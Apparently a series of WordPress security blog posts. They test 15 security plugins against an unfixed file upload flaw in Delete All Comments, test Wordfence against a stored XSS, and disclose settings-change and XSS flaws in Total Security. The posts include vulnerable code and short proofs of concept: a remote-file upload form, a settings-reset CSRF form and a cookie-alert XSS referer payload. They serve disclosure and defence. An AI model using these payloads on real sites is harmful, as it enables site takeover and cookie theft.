16 Dec

No WordPress Security Plugin Prevented Exploitation of Unfixed Arbitrary File Upload Vulnerability in Popular Plugin

When it comes to the chances of vulnerabilities being exploited the reality is that many types of vulnerabilities are highly unlikely to have anyone even try to exploit them. Unfortunately far too often we see security companies and the press making a big deal of vulnerabilities that are are of little to no threat, while ignoring vulnerabilities and broader security issues that are leading to websites being hacked (that lead us to providing information on likelihood that a vulnerability is to be exploited to the data for our service). When it comes to types that are likely to be exploited, the arbitrary file upload vulnerability, which allows a hacker to upload files of any kind to a website, is probably the one with the most exploit attempts and also then ends up leading to the most websites being hacked. So if a WordPress security plugin is going to protect against any type of vulnerability this seems like this is the one you would most want it to be able protect against.

Back in September we tested out security plugins against this type of vulnerability and the results were not good. Of the 12 plugins tested only 3 provided any protection. The protections 2 of them provide was easily bypassed for this particular vulnerability and the remaining plugin’s protection also meant that Editor level and below users could not upload files either.

With the vulnerability tested then the file to be uploaded was included with the upload request, which provides security plugins a relatively easy way to detect the possibility of a malicious upload occurring as they can see all files being included in the request by checking the $_FILES variable. An arbitrary file upload vulnerability can also involve getting a file from another website, which should make it harder to detect.

Just such a vulnerability was disclosed in the plugin Delete All Comments (which recently had 30,000+ active installs according to wordpress.org) by the security company NinTechNet on Saturday, which they had discovered while cleaning up a website that had been hacked due to it. The vulnerability is just the type of thing that could show the value of a security plugin as the vulnerability has not been fixed, so even if you keep your plugins up to date at all times you are still vulnerable if you are using (WordPress could step in to provide a secured version, but so far they have not). So we decided to test out security plugins to see if they are able to protect against it.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.7, installed the version 2.0 of Delete All Comments, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the following HTML to launch the upload request in the exploit attempts:

<form method="POST" action="http://[path to WordPress]">
<input type="text" name="restorefromfileURL" value="[URL of file to be upload]">
<input type="text" name="restorefromfileNAME" value="test.php">
<input type="submit">
</form>

The 15 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. We added three new plugins in this round of testing: Block Bad Queries (BBQ), Centrora Security, and Total Security. Followers of our blog might recognize two of those, as we previously disclosed a pair security vulnerabilities we found Centrora Security and Total Security (yes security plugins can introduce additional security issues on your website). If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

None of the plugins tested prevented the vulnerability from being exploited.

We were surprised NinjaFirewall (WP Edition) didn’t prevent this since the developer was the one that discovered the vulnerability and they state that:

Alternatively, if your are using NinjaFirewall (WP/WP+ Edition), our WordPress WAF, you are protected against it.

One possible explanation for this discrepancy is that we sent the exploit attempt request to homepage of the website while the hack shown in their post had the request sent to /wp-content/plugins/delete-all-comments/delete-all-comments.php. When we sent the request to that URL instead it was blocked.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

Block Bad Queries (BBQ)

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

Centrora Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Failed to prevent exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Total Security

Result: Failed to prevent exploitation.

Wordfence

Result: Failed to prevent exploitation.

Protecting Against Plugin Vulnerabilities

Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you. In this case the vulnerability can exploited when not active if the request is sent directly to plugin’s file.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service. We added this vulnerability on Monday.
  • Sign up for our service. Not only do you get alerted if there is a vulnerability in a currently installed version of a plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins. With our service you get a more limited version of this as you can suggest and vote for plugins to have basic security reviews done by us.
18 Jul

Wordfence’s Firewall Doesn’t Protect Against a Real World Unauthenticated Stored XSS Vulnerability

At the end of last month we wrote a post about our finding that despite Wordfence’s unqualified claim that their plugin’s firewall protects against stored XSS (or what we refer to as persistent cross-site scripting (XSS)) that it did not protect against a real world vulnerability. After we posted that we though that maybe the vulnerability we used for the test wasn’t totally fair, since it required the exploiter to be logged in (or authenticated) to WordPress. Wordfence doesn’t seem to think that matters much, seeing as how the have frequently left out the detail that a vulnerability is only exploitable when logged in when disclosing them. But seeing as it severely limits the amount of website that are impacted (since many don’t allow people that are not trusted to have account), we wanted to run another test on a vulnerability that didn’t have that limitation.

The same day we put up that post, we notified the developer the security plugin Total Security that we had found a persistent cross-site scripting (XSS) vulnerability in their plugin. In the case of this vulnerability you do not need to be logged in to exploit the vulnerability, the only limitation is that the 404 Log feature needs to be enabled. Due to another security vulnerability in that plugin, anyone can change the plugin’s settings, so they could enable that feature themselves and then exploit the other vulnerability.

The persistent XSS vulnerability is caused by the fact that when a 404 request, a request for a page that doesn’t exist, the referer sent with the request for the page, which indicates the page the user is coming from, is logged without being sanitized and the output on an admin page without being escaped. So malicious JavaScript code can be included in the referer of a request and then it it will executed on plugin’s 404 Log page in the admin area.

After notifying the developer of the vulnerabilities we tested it out the persistent XSS vulnerability against Wordfence. We wanted to release the results of that test after the vulnerability had been fixed, but the developer of the plugin doesn’t seem to be real interested in fixing them, seeing as a new version of it was released yesterday, without any attempt to fix the issues included. At that point we decided to disclose the vulnerabilities and notified the Plugin Directory of them, which usually leads to a vulnerability being pulled from the Plugin Directory pending a fix. Unfortunately that often times is the only thing that gets vulnerabilities fixed.

For this test, we set up a new WordPress installation, installed the Wordfence and Total Security plugins, enabled the firewall (with the Enabled and Protecting status), and then tried to exploit the vulnerability based on the proof of concept included in our report on the vulnerability.

When making the exploit attempt we got the normal 404 page back:

wordfence-stored-xss-test-exploit

Checking in the admin area of the plugin after that we could see that the attack was successful, as you can see from a screenshot of that page below, as an alert box showing the content’s of the cookies for the website was shown due to the JavaScript code submitted in the referer:

wordfence-stored-xss-test-result

So once again Wordfence didn’t actual prevent a real world persistent XSS vulnerability from being exploited.

18 Jul

Settings Change Vulnerability in Total Security

We were recently doing some basic security checks over WordPress security plugins and identified a possible issue in the plugin Total Security. While the issue we first were looking into turned out to not be exploitable, we noticed a couple of other security vulnerabilities in the plugin. The first being a persistent cross-site scripting (XSS) vulnerability. The second vulnerability allows anyone to change the plugin’s settings.

While it seems pretty bad that a security plugin has security vulnerabilities of its own, what is more incredible is the response from the developer. It took them 5 days to get back to us and at that point it doesn’t even look like they have really looked over the information we provided them, since they were asking what the solution to the vulnerabilities despite much of that being provided in a link we had included in original message. Yesterday, 17 days later, they released a new version of the plugin, 3.3.8, which didn’t fix either of the vulnerabilities. Oddly the version available before that was 3.4, so they move backed versions as well.

One of things you can change on the plugin’s setting’s page is whether the plugin feature that requires you visit a special URL to access to be able to log in to WordPress. So through the vulnerability that could be disabled, allowing an attacker easier access to the login page. Someone that was looking to mess with someone might turn on the feature, if it wasn’t enabled, as a couple of times recently we had people come to us who thought their website was broken and it turned out they were using a security addon that can change the location of the website’s backend and they either had forgotten it was in use or someone else had enabled it.

The cause of the vulnerability starts with code in the file /modules/class-process.php, which caused the function fdx_update_post_settings() to run if the POST input “fdx_page” is submitted to any WordPress page:

5
6
if (isset( $_POST['fdx_page']) ) {
add_filter('init', array( $this, 'fdx_update_post_settings') );

That function allows access to a couple of function and to resetting the plugin’s settings:

44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
function fdx_update_post_settings() {
		   switch ( $_POST['fdx_page'] ) {
                    case 'fdx_form_all':
					$this->fdx_process_all();
                    # first donation hidding time 'now'
                    if( !get_site_option( 'fdx1_hidden_time' ) ) {
                    $time = time();
                    update_option('fdx1_hidden_time', $time ); //grava o tempo em
                    }
					break;
                    case 'fdx_reset':
				    update_option( 'fdx_settings', false );
					break;
 
                    case 'fdx_clean':
				    $this->fdx_process_clean();
					break;
 
                    case 'hide_message':
				    # Hide donation message for 33 days
                    $time = time() + 33 * 24 * 60 * 60;
                    update_option('fdx1_hidden_time', $time );
					break;
    }
}

If you were to submit “fdx_reset” as the value of the POST input “fdx_page”, that would turn off the login page protection if it was enabled.

Submitting “fdx_form_all” as the value of the POST input “fdx_page” would cause the function fdx_process_all() and changes the plugin’s settings:

73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
function fdx_process_all(){
            if ( isset( $_POST['p2_select_1'] ) ) {
        	$settings['p2_op1'] = $_POST['p2_select_1'];
            }
 
            if ( isset( $_POST['p3_select_1'] ) ) {
        	$settings['p3_op1'] = $_POST['p3_select_1'];
            }
 
            if ( isset( $_POST['p4_check_1'] ) ) {
				$settings['p4_check_1'] = true;
			} else {
				$settings['p4_check_1'] = false;
			}
 
            if ( isset( $_POST['p4_check_2'] ) ) {
				$settings['p4_check_2'] = true;
			} else {
				$settings['p4_check_2'] = false;
			}
 
            if ( isset( $_POST['p4_check_3'] ) ) {
				$settings['p4_check_3'] = true;
			} else {
				$settings['p4_check_3'] = false;
			}
 
             if ( isset( $_POST['p6_check_1'] ) ) {
				$settings['p6_check_1'] = true;
			} else {
				$settings['p6_check_1'] = false;
			}
 
            if ( isset( $_POST['p7_check_1'] ) ) {
				$settings['p7_check_1'] = true;
			} else {
				$settings['p7_check_1'] = false;
			}
//----------text
            if ( isset($_POST['p6_key']) ) {
	        $settings['p6_key'] = stripslashes($_POST['p6_key']);
			}
            if ( isset($_POST['p6_url']) ) {
	          $settings['p6_url'] = stripslashes($_POST['p6_url']);
	   		}
update_option( 'fdx_settings', $settings );
}

Oddly the plugin’s setting page does have a nonce that could have limited you changing the settings (but not resetting them) if you didn’t have access to it, but as the previous code shows that isn’t checked.

Proof of Concept

The following proof of concept will reset the plugin’s settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="fdx_page" value="fdx_reset" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/30/2016 – Developer notified.
  • 7/5/2016 – Developer responds.
  • 7/18/2016 – WordPress.org Plugin Directory notified.
  • 7/19/2016 – Removed from WordPress.org Plugin Directory.
  • 8/10/2016 – Version 3.4.1 released, which fixes vulnerability.
18 Jul

Persistent Cross-Site Scripting (XSS) Vulnerability in Total Security

We were recently doing some basic security checks over WordPress security plugins and identified a possible issue in the plugin Total Security. While the issue we first were looking into turn out to not be exploitable, we noticed a couple of other security vulnerabilities in the plugin. The first one is a persistent cross-site scripting (XSS) vulnerability that is in the 404 log feature, which is disabled by default, due to lack of proper handling of user input data.

While it seems pretty bad that a security plugin has security vulnerabilities of its own, what is more incredible is the response from the developer. It took them 5 days to get back to us and at that point it doesn’t even look like they have really looked over the information we provided them, since they were asking what the solution to the vulnerabilities despite much of that being provided in a link we had included in original message. Yesterday, 17 days later, they released a new version of the plugin, 3.3.8, which didn’t fix either of the vulnerabilities. Oddly the version available before that was 3.4, so they move backed versions as well.

When a 404 request, a request for a page that doesn’t exist, is made that is logged by the plugin using the function fdx_logevent(), located in the file /modules/class-p4.php. You can see that in version 3.4 the value is only sanitized to be used in an SQL statement, esc_sql:

60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
function fdx_logevent() {
   $settings = Total_Security::fdx_get_settings();
	global $wpdb;
 
//       define( 'DONOTCACHEPAGE', true );		// WP Super Cache and W3 Total Cache recognise this
 
	//ignor boots
	if ($settings['p4_check_2'] && !empty( $_SERVER['HTTP_USER_AGENT'] ) && preg_match( '/(bot|spider)/', $_SERVER['HTTP_USER_AGENT'] ) )
	return;
	//ignor whithow http refer
		if ($settings['p4_check_3'] && empty($_SERVER['HTTP_REFERER'] ) )
	return;
 
	$host = esc_sql( $this->fdxgetIp() );
	$url = esc_sql( $_SERVER['REQUEST_URI'] );
	$referrer = esc_sql( $this->getRefe() );
 
	//log to database
	$wpdb->insert(
		$wpdb->base_prefix . 'total_security_log',
		array(
			'timestamp' => current_time( 'timestamp' ),
			'host' => $host,
			'url' => $url,
			'referrer' => $referrer
		)
	);
 
					}

The value for the request’s referrer comes from the function getRefe(), which doesn’t do any sanitization

44
45
46
47
48
49
50
51
function getRefe() {
 if ( isset( $_SERVER['HTTP_REFERER']  ) ) {
		$theRefe = $_SERVER['HTTP_REFERER'];
	} else {
		$theRefe = '';
	}
return $theRefe;
		}

When that is output on the page /wp-admin/admin.php?page=total-security-error-404-log, it is not escaped.

It is brought in here:

235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
$data = $wpdb->get_results( "SELECT id, referrer, timestamp, host, url FROM `" . $wpdb->base_prefix . "total_security_log` $search ORDER BY timestamp DESC;", ARRAY_A );
 
 
usort ( $data, array( &amp;$this, 'sortrows' ) );
 
$per_page = 50; //50 items per page
$current_page = $this->get_pagenum();
$total_items = count( $data );
 
$data = array_slice( $data,( ( $current_page - 1 ) * $per_page ), $per_page );
 
 
 
 
$rows = array();
$count = 0;
 
	//Loop through results and take data we need
foreach ( $data as $item => $attr ) {
 
	$rows[$count]['timestamp'] = $attr['timestamp'];
	$rows[$count]['id'] = $attr['id'];
	$rows[$count]['host'] = $attr['host'];
	$rows[$count]['uri'] = $attr['url'];
	$rows[$count]['referrer'] = $attr['referrer'];
	$count++;
 
}
 
$this->items = $rows;
$this->set_pagination_args(
	array(
	'total_items' => $total_items,
	'per_page'    => $per_page,
	'total_pages' => ceil( $total_items/$per_page )
	)
);

And then output here:

189
 $r = '<div class="crop" id="grenn"><a href="' . $item['referrer'] . '" target="_blank" title="' . $item['referrer'] . '">' . $item['referrer'] . '</a></div>';

Proof of Concept

With the 404 log feature enabled in the plugin, request a page that does not exist with your web browser’s referrer set to “<script>alert(document.cookie);</script>”.

Afterwards, when visiting the page /wp-admin/admin.php?page=total-security-error-404-log any available cookies to be shown in alert box on pages from the plugin.

Timeline

  • 6/30/2016 – Developer notified.
  • 7/5/2016 – Developer notified.
  • 7/18/2016 – WordPress.org Plugin Directory notified.
  • 7/19/2016 – Removed from WordPress.org Plugin Directory.
  • 8/10/2016 – Version 3.4.1 released, which fixes vulnerability.